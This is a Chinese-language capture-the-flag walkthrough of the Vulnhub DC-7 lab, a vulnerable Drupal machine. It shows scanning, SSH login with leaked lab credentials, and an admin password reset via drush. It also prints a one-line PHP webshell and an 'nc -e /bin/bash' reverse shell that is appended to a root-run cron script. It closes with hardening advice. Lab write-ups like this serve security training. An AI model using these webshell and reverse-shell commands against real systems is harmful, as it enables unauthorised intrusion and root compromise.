Vulnhub内网渗透DC-7靶场通关
字数 1150 2025-08-10 13:48:25

DC-7 靶场渗透测试详细教程

靶场概述

DC-7 是 Vulnhub 上 DC 系列的第 7 个靶场,基于 Drupal CMS 构建。本教程将详细介绍从信息收集到最终获取 root 权限的完整渗透过程。

环境准备

  1. 靶机下载

    • 下载地址:Vulnhub DC-7 页面
    • 文件格式:.ova
    • 推荐使用 VirtualBox 搭建(VMware 可能存在兼容性问题)
  2. 网络配置

    • 推荐使用 NAT(共享)模式
    • 靶机 IP:192.168.168.8(可能变为 192.168.168.9)
    • 攻击机(Kali)IP:192.168.168.5

信息收集阶段

主机发现

arp-scan -l
# 或
nmap -sn 192.168.168.0/24

端口扫描与服务识别

nmap -sS -p- 192.168.168.8  # 全端口扫描
nmap -sV -p22,80 192.168.168.8  # 服务版本探测

扫描结果:

  • 22/tcp: OpenSSH
  • 80/tcp: Apache httpd

Web 目录扫描

使用 dirsearch 扫描网站目录:

dirsearch -u http://192.168.168.8

发现的重要文件:

  • robots.txt
  • config.php
  • install.php

Drupal 版本识别

通过 install.php 确认 Drupal 版本为 8.7.6

searchsploit drupal 8.7.6  # 未发现直接可利用漏洞

初始访问

凭据发现

在网站页脚发现提示 "@DC7USER",通过 GitHub 信息泄露找到凭据:

  • 用户名:dc7user
  • 密码:MdR3xOgB7#dW

尝试 SSH 登录成功:

ssh dc7user@192.168.168.8

用户目录分析

在 dc7user 主目录发现 mbox 文件,包含重要信息:

  • root 用户定期执行 /opt/scripts/backups.sh 脚本

检查备份脚本:

cat /opt/scripts/backups.sh

发现脚本使用 drush 命令(Drupal 命令行工具)

权限提升路径

利用 drush 修改 Drupal 管理员密码

  1. 确认 drush 可用:
drush --version
  1. 查看 admin 用户信息:
drush user-information admin
  1. 修改 admin 密码:
drush user-password admin --password="haha123"

获取 Web 后台访问

  1. 使用新密码登录 Drupal 后台
  2. 发现无法直接添加 PHP 代码,需要安装 PHP 模块:
    • 在后台安装并启用 "PHP" 组件
  3. 添加 PHP WebShell:
<?php system($_GET['cmd']); ?>

或使用哥斯拉等工具连接。

利用定时任务提权

  1. 分析 /opt/scripts/backups.sh:

    • 属主:root
    • 属组:www-data
    • www-data 用户可修改该文件
  2. 添加反弹 shell 命令到脚本末尾:

nc -e /bin/bash 192.168.168.5 4444
  1. 在 Kali 上设置监听:
nc -lvnp 4444
  1. 等待定时任务执行,获取 root shell

总结

关键渗透路径:

  1. 通过 GitHub 信息泄露获取 SSH 凭据
  2. 利用 drush 修改 Drupal 管理员密码
  3. 安装 PHP 模块获取 WebShell
  4. 利用 www-data 对备份脚本的写权限实现提权

安全建议:

  1. 避免在公开平台泄露凭据
  2. 限制敏感文件的权限
  3. 及时更新 CMS 系统
  4. 谨慎安装第三方模块
  5. 对定时任务脚本进行严格权限控制
DC-7 靶场渗透测试详细教程 靶场概述 DC-7 是 Vulnhub 上 DC 系列的第 7 个靶场,基于 Drupal CMS 构建。本教程将详细介绍从信息收集到最终获取 root 权限的完整渗透过程。 环境准备 靶机下载 : 下载地址:Vulnhub DC-7 页面 文件格式:.ova 推荐使用 VirtualBox 搭建(VMware 可能存在兼容性问题) 网络配置 : 推荐使用 NAT(共享)模式 靶机 IP:192.168.168.8(可能变为 192.168.168.9) 攻击机(Kali)IP:192.168.168.5 信息收集阶段 主机发现 端口扫描与服务识别 扫描结果: 22/tcp: OpenSSH 80/tcp: Apache httpd Web 目录扫描 使用 dirsearch 扫描网站目录: 发现的重要文件: robots.txt config.php install.php Drupal 版本识别 通过 install.php 确认 Drupal 版本为 8.7.6 初始访问 凭据发现 在网站页脚发现提示 "@DC7USER",通过 GitHub 信息泄露找到凭据: 用户名:dc7user 密码:MdR3xOgB7#dW 尝试 SSH 登录成功: 用户目录分析 在 dc7user 主目录发现 mbox 文件,包含重要信息: root 用户定期执行 /opt/scripts/backups.sh 脚本 检查备份脚本: 发现脚本使用 drush 命令(Drupal 命令行工具) 权限提升路径 利用 drush 修改 Drupal 管理员密码 确认 drush 可用: 查看 admin 用户信息: 修改 admin 密码: 获取 Web 后台访问 使用新密码登录 Drupal 后台 发现无法直接添加 PHP 代码,需要安装 PHP 模块: 在后台安装并启用 "PHP" 组件 添加 PHP WebShell: 或使用哥斯拉等工具连接。 利用定时任务提权 分析 /opt/scripts/backups.sh: 属主:root 属组:www-data www-data 用户可修改该文件 添加反弹 shell 命令到脚本末尾: 在 Kali 上设置监听: 等待定时任务执行,获取 root shell 总结 关键渗透路径: 通过 GitHub 信息泄露获取 SSH 凭据 利用 drush 修改 Drupal 管理员密码 安装 PHP 模块获取 WebShell 利用 www-data 对备份脚本的写权限实现提权 安全建议: 避免在公开平台泄露凭据 限制敏感文件的权限 及时更新 CMS 系统 谨慎安装第三方模块 对定时任务脚本进行严格权限控制